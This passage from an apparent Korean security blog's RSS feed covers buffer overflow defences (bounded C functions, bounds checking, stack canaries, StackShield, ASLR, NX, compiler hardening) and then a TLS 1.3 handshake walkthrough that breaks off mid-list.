&lt;li&gt;&lt;b&gt;권한 상승:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;일반 사용자 권한에서 root 권한 탈취&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정보 유출:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메모리에서 비밀 데이터(비밀번호, 토큰 등) 노출&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Buffer Overflow 예방 방법&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. &lt;b&gt;안전한 함수 사용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;C의&lt;span&gt;&amp;nbsp;&lt;/span&gt;strcpy,&lt;span&gt;&amp;nbsp;&lt;/span&gt;sprintf,&lt;span&gt;&amp;nbsp;&lt;/span&gt;gets&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;길이 제한 없는 함수&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;대신:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;strncpy,&lt;span&gt;&amp;nbsp;&lt;/span&gt;snprintf,&lt;span&gt;&amp;nbsp;&lt;/span&gt;fgets처럼&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;길이를 제한할 수 있는 함수&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. &lt;b&gt;경계 검사(bound checking)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배열, 버퍼에 접근할 때 항상&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;길이 검사&lt;/b&gt;를 하고, 입력값 검증을 철저히 할 것&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. &lt;b&gt;스택가드(StackGuard)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;441&quot; data-start=&quot;255&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;321&quot; data-start=&quot;255&quot;&gt;함수가 호출될 때, 스택 프레임의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;반환 주소 앞에 &amp;lsquo;카나리(canary)&amp;rsquo; 값&lt;/b&gt;이라는 특별한 값을 삽입합니다.&lt;/li&gt;
&lt;li data-end=&quot;441&quot; data-start=&quot;322&quot;&gt;함수가 리턴할 때, 이 카나리 값을 검사해서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;값이 변조되었는지&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;확인합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;441&quot; data-start=&quot;374&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;417&quot; data-start=&quot;374&quot;&gt;변조되었다면 &amp;rarr; 버퍼 오버플로우 발생 &amp;rarr; 프로그램 강제 종료 (공격 차단)&lt;/li&gt;
&lt;li data-end=&quot;441&quot; data-start=&quot;422&quot;&gt;변조되지 않았다면 &amp;rarr; 정상 리턴&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;519&quot; data-start=&quot;443&quot; data-ke-size=&quot;size16&quot;&gt;즉, 공격자가 스택을 넘쳐쓰기 위해 반환 주소를 덮으려고 하면,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;카나리 값도 함께 덮어써야 하므로 탐지될 가능성이 매우 높습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;666&quot; data-start=&quot;532&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;666&quot; data-start=&quot;532&quot;&gt;소스 코드 수정 없이 컴파일 옵션(-fstack-protector)만으로 적용 가능&lt;/li&gt;
&lt;li data-end=&quot;666&quot; data-start=&quot;532&quot;&gt;주요 보호 대상: 반환 주소&lt;/li&gt;
&lt;li data-end=&quot;666&quot; data-start=&quot;532&quot;&gt;함수 포인터, longjmp buffer, 구조체 내부 포인터 등 다른 메모리 공격은 방어하지 못함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;StackGuard 종류&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;719&quot; data-start=&quot;690&quot;&gt;일반 StackGuard: 고정된 카나리 값 사용&lt;/li&gt;
&lt;li data-end=&quot;751&quot; data-start=&quot;720&quot;&gt;Random Canary: 실행 시마다 랜덤 값 사용&lt;/li&gt;
&lt;li data-end=&quot;821&quot; data-start=&quot;752&quot;&gt;Terminator Canary: 널 문자나 개행 문자 같은 문자열 종료용 값 포함 (strcpy 같은 함수 공격 차단)&lt;/li&gt;
&lt;li data-end=&quot;861&quot; data-start=&quot;822&quot;&gt;Random XOR Canary: 랜덤 값과 반환 주소 XOR 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. StackShield&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;StackShield&lt;/b&gt;는 StackGuard보다 더 넓은 범위를 보호하도록 설계된 보안 기법입니다.&lt;br /&gt;이 방식은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;스택의 반환 주소를 별도로 복사하여 보관&lt;/b&gt;하고, 함수 리턴 시 원래의 복사본을 사용하여 반환하는 방식으로 동작합니다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1046&quot; data-start=&quot;1033&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1046&quot; data-start=&quot;1033&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;동작 원리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;1227&quot; data-start=&quot;1047&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1107&quot; data-start=&quot;1047&quot;&gt;함수 진입 시, 반환 주소를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;스택 밖의 안전한 메모리 영역&lt;/b&gt;(예: 글로벌 변수 공간)에 복사합니다.&lt;/li&gt;
&lt;li data-end=&quot;1162&quot; data-start=&quot;1108&quot;&gt;함수가 리턴할 때, 스택의 반환 주소가 아닌&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;복사해 둔 안전한 반환 주소를 사용&lt;/b&gt;합니다.&lt;/li&gt;
&lt;li data-end=&quot;1227&quot; data-start=&quot;1163&quot;&gt;따라서 공격자가 스택의 반환 주소를 덮어써도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;실제로 리턴에 쓰이는 주소는 안전&lt;/b&gt;하므로 공격이 실패합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;1239&quot; data-start=&quot;1229&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1368&quot; data-start=&quot;1240&quot;&gt;반환 주소를 스택에서 완전히 분리하므로 오버플로우 공격이 거의 불가능&lt;/li&gt;
&lt;li data-end=&quot;1368&quot; data-start=&quot;1240&quot;&gt;스택 이외의 다른 코드 포인터나 함수 포인터는 여전히 보호하지 못함&lt;/li&gt;
&lt;li data-end=&quot;1368&quot; data-start=&quot;1240&quot;&gt;성능 오버헤드가 더 크고, 적용이 제한적이며 유지보수가 어려운 경우도 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4. &lt;b&gt;주소 공간 배치 난수화(Address Space Layout Randomization, ASLR)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;운영체제에서 메모리 주소를 랜덤화하여 공격자가 정확한 메모리 주소를 예측하지 못하게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5. &lt;b&gt;실행 방지 영역(Non-Executable Stack, NX bit)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스택 메모리 영역을 실행 불가능하게 설정해, 스택에 심은 셸코드가 실행되지 못하게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;6. &lt;/span&gt;&lt;b&gt;컴파일러 보안 옵션 활용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최신 컴파일러 옵션:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-D_FORTIFY_SOURCE=2&lt;span&gt;&amp;nbsp;&lt;/span&gt;(glibc 기반)&lt;/li&gt;
&lt;li&gt;RELRO&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Relocation Read-Only)&lt;/li&gt;
&lt;li&gt;PIE (Position Independent Executable)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>Bufferoverflow</category>
      <category>overflow</category>
      <category>버퍼오버플로우</category>
      <category>소스코드보안</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/32</guid>
      <comments>https://defcon.tistory.com/32#entry32comment</comments>
      <pubDate>Mon, 5 May 2025 12:09:05 +0900</pubDate>
    </item>
    <item>
      <title>TLS 1.3 Handshake 동작 과정</title>
      <link>https://defcon.tistory.com/31</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;TLS 1.3 Handshake 전체 개요&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;TLS 1.3 Handshake는 클라이언트와 서버가 암호화 통신을 설정하기 위해 서로 협상하고, 인증하고, 비밀 키를 공유하는 과정입니다. 크게 보면 다음과 같은 단계로 구성됩니다:&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;ClientHello&lt;/b&gt;&lt;br /&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;ServerHello&lt;/b&gt;&lt;br /&gt;3. (선택) 서버 인증 및 키 교환&lt;br /&gt;4. Finished 및 암호화된 데이터 전송 시작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1단계: ClientHello&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;클라이언트가 서버에 연결을 시도하며 최초로 보내는 메시지입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;포함 내용:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;지원하는 프로토콜 버전&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;supported_versions&lt;span&gt;&amp;nbsp;&lt;/span&gt;확장을 통해 &quot;TLS 1.3&quot; 지원을 명시.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;지원하는 암호 스위트&lt;/b&gt;: 예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;TLS_AES_128_GCM_SHA256,&lt;span&gt;&amp;nbsp;&lt;/span&gt;TLS_CHACHA20_POLY1305_SHA256&lt;span&gt;&amp;nbsp;&lt;/span&gt;등.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키 공유 정보&lt;/b&gt;: 클라이언트의 ephemeral (임시) public key (예: ECDHE, X25519 사용).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;랜덤 값&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;client_random라 불리는 32바이트 난수.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;확장 필드&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SNI (Server Name Indication): 어떤 도메인으로 접속하는지 알려줌.&lt;/li&gt;
&lt;li&gt;ALPN (Application-Layer Protocol Negotiation): HTTP/2, HTTP/3 같은 상위 프로토콜 협상.&lt;/li&gt;
&lt;li&gt;Supported Groups, Signature Algorithms 등.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;⏩&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핵심 변화&lt;/b&gt;: TLS 1.3에서는 클라이언트가 첫 메시지에서 키 교환을 위해 필요한 정보를 미리 다 포함시켜 전송합니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2단계: ServerHello&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;서버가 클라이언트의 요청에 응답합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;포함 내용:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;선택된 프로토콜 버전&lt;/b&gt;: 예: TLS 1.3.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;선택된 암호 스위트&lt;/b&gt;: 클라이언트가 제안한 것 중 하나 선택.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키 공유 정보&lt;/b&gt;: 서버의 ephemeral public key.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;랜덤 값&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;server_random&lt;span&gt;&amp;nbsp;&lt;/span&gt;(32바이트).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;⏩&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핵심 변화&lt;/b&gt;: TLS 1.2와 달리, TLS 1.3에서는 이 시점에서 암호 스위트, 키 공유 방식이 결정되고 handshake 메시지들이 암호화되기 시작합니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3단계: (선택) 서버 인증 및 키 교환&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;서버 인증&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(필요한 경우):
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Certificate: 서버의 인증서 (일반적으로 X.509).&lt;/li&gt;
&lt;li&gt;CertificateVerify: 서버가 자신의 private key로 서명해 인증서의 진위를 증명.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키 교환&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트와 서버는 서로의 ephemeral public key로 shared secret (pre-master secret)을 계산.&lt;/li&gt;
&lt;li&gt;이 secret을 기반으로 handshake 및 application traffic용 암호화 키가 생성됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;⏩&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핵심 변화&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TLS 1.3에서는 static RSA key exchange가 제거되고, 반드시 forward secrecy가 보장되는 ephemeral (임시) 키만 사용.&lt;/li&gt;
&lt;li&gt;ServerKeyExchange&lt;span&gt;&amp;nbsp;&lt;/span&gt;메시지가 없고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Certificate와&lt;span&gt;&amp;nbsp;&lt;/span&gt;CertificateVerify로 통합됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4단계: Finished 및 암호화된 데이터 전송 시작&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;클라이언트 Finished&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트는 자신의&lt;span&gt;&amp;nbsp;&lt;/span&gt;Finished&lt;span&gt;&amp;nbsp;&lt;/span&gt;메시지를 보냄 (HMAC 기반의 검증 데이터 포함).&lt;/li&gt;
&lt;li&gt;이 메시지는 handshake traffic secret으로 암호화됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버 Finished&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버는 자신의&lt;span&gt;&amp;nbsp;&lt;/span&gt;Finished&lt;span&gt;&amp;nbsp;&lt;/span&gt;메시지를 보냄.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Application Data 전송&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 시점부터 양쪽 모두 application traffic secret을 사용해 데이터 암호화.&lt;/li&gt;
&lt;li&gt;TLS record layer를 통해 실제 HTTP 요청/응답 같은 데이터가 전송됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;⏩&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핵심 변화&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TLS 1.3에서는 handshake가 끝나기 전에 application data를 전송할 수 있는 0-RTT 모드가 존재 (선택적, 세션 재사용 시에만).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;핸드셰이크 단계의 큰 차이점 요약&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;TLS 1.2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;TLS 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Round Trip 수&lt;/td&gt;
&lt;td&gt;최소 2 RTT&lt;/td&gt;
&lt;td&gt;1 RTT (0-RTT 모드 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키 교환 방식&lt;/td&gt;
&lt;td&gt;RSA, ECDHE, DHE, PSK 등 다양&lt;/td&gt;
&lt;td&gt;ECDHE, DHE, PSK (forward secrecy 필수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;서버 인증 방식&lt;/td&gt;
&lt;td&gt;인증서 + (optional) ServerKeyExchange&lt;/td&gt;
&lt;td&gt;인증서 + CertificateVerify (simple)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;암호화 범위&lt;/td&gt;
&lt;td&gt;Finished 이후에만 암호화&lt;/td&gt;
&lt;td&gt;ServerHello 이후부터 handshake 암호화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;메시지 구조&lt;/td&gt;
&lt;td&gt;여러 개의 개별 메시지 (복잡)&lt;/td&gt;
&lt;td&gt;단순화된 메시지 구조, 불필요한 단계 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0-RTT 지원&lt;/td&gt;
&lt;td&gt;불가능&lt;/td&gt;
&lt;td&gt;가능 (재연결 시 빠른 전송)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;암호 스위트 설계&lt;/td&gt;
&lt;td&gt;RSA, RC4, SHA1 등 legacy 포함&lt;/td&gt;
&lt;td&gt;최신 알고리즘만 포함, legacy 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;핸드셰이크 단계별 비교&lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. ClientHello&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TLS 1.2&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트가 지원하는 프로토콜, 암호 스위트, 압축 방식, random 값 전송.&lt;/li&gt;
&lt;li&gt;(옵션) 세션 재개용 session ID 포함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TLS 1.3&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지원하는 프로토콜에&lt;span&gt;&amp;nbsp;&lt;/span&gt;TLS 1.3&lt;span&gt;&amp;nbsp;&lt;/span&gt;명시.&lt;/li&gt;
&lt;li&gt;암호 스위트에서 TLS 1.3 전용 스위트만 보냄.&lt;/li&gt;
&lt;li&gt;클라이언트 ephemeral key (예: X25519, ECDHE) 포함&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;(핸드셰이크 속도 향상)&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;0-RTT 재연결 시 early data 전송.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;2. ServerHello&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TLS 1.2&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;선택한 프로토콜, 암호 스위트, random 값 전송.&lt;/li&gt;
&lt;li&gt;세션 재개용 session ID.&lt;/li&gt;
&lt;li&gt;ServerKeyExchange (ECDHE 키 제공), Certificate 메시지 등 추가 메시지 필요.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TLS 1.3&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;선택된 암호 스위트, ephemeral key 전송.&lt;/li&gt;
&lt;li&gt;이후부터 handshake 메시지 암호화.&lt;/li&gt;
&lt;li&gt;ServerKeyExchange가 따로 존재하지 않고 Certificate 메시지와 함께 처리됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 키 교환 및 인증&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;TLS 1.2&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RSA key exchange: 서버 public key로 pre-master secret 암호화.&lt;/li&gt;
&lt;li&gt;또는 ECDHE/DHE: 서버의 ephemeral key 제공 + ServerKeyExchange.&lt;/li&gt;
&lt;li&gt;서버 인증: Certificate + ServerKeyExchange + CertificateRequest + ServerHelloDone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TLS 1.3&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
